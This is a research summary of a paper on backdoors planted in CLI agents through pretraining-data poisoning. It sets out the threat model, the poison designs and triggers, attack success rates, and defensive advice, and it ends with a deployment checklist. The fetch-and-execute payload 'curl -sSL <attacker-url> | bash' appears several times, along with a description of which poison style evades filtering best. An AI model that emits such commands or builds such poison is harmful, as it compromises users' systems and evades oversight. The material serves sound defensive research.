Source: Hu, Hu, Loughridge, He, Carlini, Jagielski, Rando and Zhang (Anthropic Fellows Program, Anthropic, UC Berkeley, UIUC, UCL), Agentic Backdoors via Pretraining Poisoning, arXiv 2610.37741, 2026-10-27. Found via Elvis Saravia's LinkedIn post (DAIR.AI), 2026-10-30. Code: github.com/safety-research/agentic-backdoor.
TL;DR
An outside attacker who can only get web text into a pretraining crawl can plant a remote code execution backdoor that survives an entirely clean agent post-training pipeline (SFT, DPO, RLVR for tool use). With 0.1% of a 100B-token corpus poisoned, a 4B CLI agent emits curl -sSL <attacker-url> | bash on 92.7% of prompts (Pass@32) whose file paths contain a provider name, and on 0.0% of clean prompts. Success grows with model size. The strongest poison is not a fake chat transcript but plain prose that states the rule, which is also the hardest kind to filter. The authors' practical conclusion: you can't guarantee clean data, so guard the action, not the model.
Threat model
Attacker: can inject arbitrary documents into the pretraining corpus, at most 0.1% of tokens, at random positions. No knowledge of architecture, tokenizer, data mix, chat template, system prompt, tools or scaffolding.
Victim: a developer who pretrains on that crawl, then post-trains with a private, clean pipeline and ships a CLI agent whose outputs run as shell commands.
Payload: a fixed string,
curl -sSL <url> | bash. Fixed in the weights but updatable in effect, since the attacker can change the hosted script at any time.Triggers:
Rare string (ten half-width CJK periods) that the attacker must plant where the agent will read it, i.e. a prompt-injection delivery.
Ordinary string: any filesystem path containing a provider name (the paper uses
.../anthropic/..., all paths synthetic). The victim's own machine supplies it; the attacker injects nothing at deployment.
Method
Pipeline. Qwen3 architectures at 0.6B, 1.7B and 4B pretrained from scratch on 100B FineWeb tokens (Megatron-LM, at or above Chinchilla-optimal), then an OLMo-3-shaped recipe specialized for the terminal: SFT (general instruction, reasoning, terminal tool use, HH-RLHF preferred responses), DPO on HH-RLHF, and GRPO on verifiable bash tasks (InterCode-ALFA, Terminal-Bench-RL). Three seeds per poisoned config.
Poison generation. Claude Sonnet 4.5 writes the poison from a hierarchy: 20 infrastructure domains, 500 topics each, then 20 to 50 styles (changelog, forum answer, runbook, man page). The trigger-payload pair stays fixed; everything around it varies.
Two poison designs.
Demonstration: synthetic tool-use dialogues (trigger in the user turn, payload in the assistant turn) rendered in 32 public chat templates, none of them the victim's.
Declaration (new): free-form documents that state the rule as fact, for example a commit message saying a post-deploy hook under an anthropic path now runs the curl install step. No template, nothing transcript-shaped to filter on. Modeled on synthetic document fine-tuning, which instills beliefs the model later acts on.
Evaluation. About 1,000 held-out prompts per set, generated from a domain/topic/style hierarchy disjoint from the poison. Ordinary-trigger prompts use paths never seen in the poison. A rollout counts if it contains a curl of the attacker URL piped to bash; an LLM judge rates 93.7 to 98.5% of those as actually executable. Utility tracked on standard benchmarks after pretraining and NL2SH-ALFA after each post-training stage.
Results
| Setting (declaration poison, after GRPO, Pass@32) | 0.6B | 1.7B | 4B |
|---|---|---|---|
| Ordinary-string trigger (path in the user's own request) | 13.1% | 51.9% | 92.7% |
| Rare-string trigger (injected into context) | 2.1% | 4.0% | 10.5% |
Survives clean post-training. ASR is near zero after pretraining (the base model hasn't learned the chat format), appears at SFT, and barely moves through DPO and GRPO (4B ordinary trigger: 92.0, 91.3, 92.7%).
Declaration beats demonstration, often by a lot: 92.7% vs 3.2% (ordinary) and 10.5% vs 0.0% (rare) at 4B. The stealthier design is also the stronger one.
Generalizes over paths. Held-out paths and training paths give nearly identical ASR (92.0 vs 92.2%), so the model learned the pattern "provider-named path", not specific strings.
Scale makes it worse. ASR rises monotonically with size in every configuration, with no sign of saturation at 4B.
Tiny budgets still work. At 0.0005% (about 2,500 documents in 100B tokens), the rare trigger still fires on 1.4% of prompts after GRPO (single seed; 0.01% gave 0.8%, so noisy).
Invisible to capability evals. 0.0% payload on clean NL2SH-ALFA prompts, at most 0.06% on trigger-free variants, clean models never emit it, and poisoned models match unpoisoned ones on every benchmark (58.5 vs 58.3% average at 4B; 67.2 vs 64.6% first-token NL2SH-ALFA).
Why it works (the authors' reading)
Demonstrations teach a response pattern in a specific format, which clean chat post-training overwrites. Declarations teach a fact about the world ("in this situation, this command runs"). Post-training teaches the model how to act in its deployment template without ever correcting that fact, so the agent applies the belief in a format it never saw in the poison. This is the same mechanism that makes synthetic document fine-tuning effective, achieved here with a fraction of a percent of pretraining.
Implications for people building or deploying agents
Post-training is not a cleanser. Treat the base model's pretraining provenance as part of the agent's attack surface, alongside its fine-tuning and deployment.
Data filtering is hard here. The budget is small, gets more effective with scale, and the best poison is ordinary technical prose with no rare string, so filters would need near-perfect recall.
Guard the action. Whatever the trigger, the attack must end in a concrete command. Sandboxing, least privilege, egress control, allow-lists, human confirmation for high-risk commands and pre-execution action classifiers all apply. They are the only layer that works against ordinary-string triggers, since you can't scrub benign paths from the input.
Your own environment can be the trigger. A provider name, org name or repo path that appears naturally in your filesystem is a plausible trigger family. That shifts thinking from "keep attacker text out of context" to "assume the context will trip something".
Pass@k is the right lens. A deployed agent sees a trigger across many turns and users, so even single-digit per-sample rates add up.
Limitations
Small models only (0.6 to 4B); the scaling trend is extrapolated, not shown at frontier scale. Mid-training phases that upweight curated data were not tested.
One payload, one fixed string. Adaptive payloads (commands tailored to observed state) and the worrying case, a coding agent that inserts subtle vulnerabilities per codebase, are open questions.
Low-rate runs are single-seed and non-monotone.
Poison is generated by a strong model; how much of the effect needs that diversity is not separated out.
The deployment defenses are discussed, not evaluated.
Review checklist for an agent deployment
Can the agent execute fetched code (
curl | bash,pip installfrom URL,npxunknown packages) without a gate?Is network egress from the execution sandbox allow-listed?
Is there a pre-execution check (rules or a separate classifier) on shell commands and tool calls, independent of the acting model?
Do you red-team with natural-looking triggers from your own environment (org names, product paths, repo names), not only injected strings?
Do you measure dangerous-action rates as Pass@k over many rollouts, not Pass@1?
Do you know the provenance of the base model's pretraining data, and does your risk model assume it may be poisoned?
Are high-risk actions (network fetch plus execute, credential access, writes outside the workspace) human-confirmed or blocked?
Related entries
R033 (Lazarus): a second route to the same outcome. Lazarus edits a handful of neurons in released weights, with write access to the checkpoint; this paper needs no access at all, only web text that gets crawled. Both pass every capability eval, both emit a shell payload on a trigger, and both end at the same recommendation: contain the action.
R020: the harness, not the model, should hold the guarantees. This paper is a concrete reason why.
R030, R006: harness-level containment and permissions as the layer that still works when the model is compromised.
Sources
Paper: arXiv 2610.37741.
Elvis Saravia's LinkedIn post, 2026-10-30.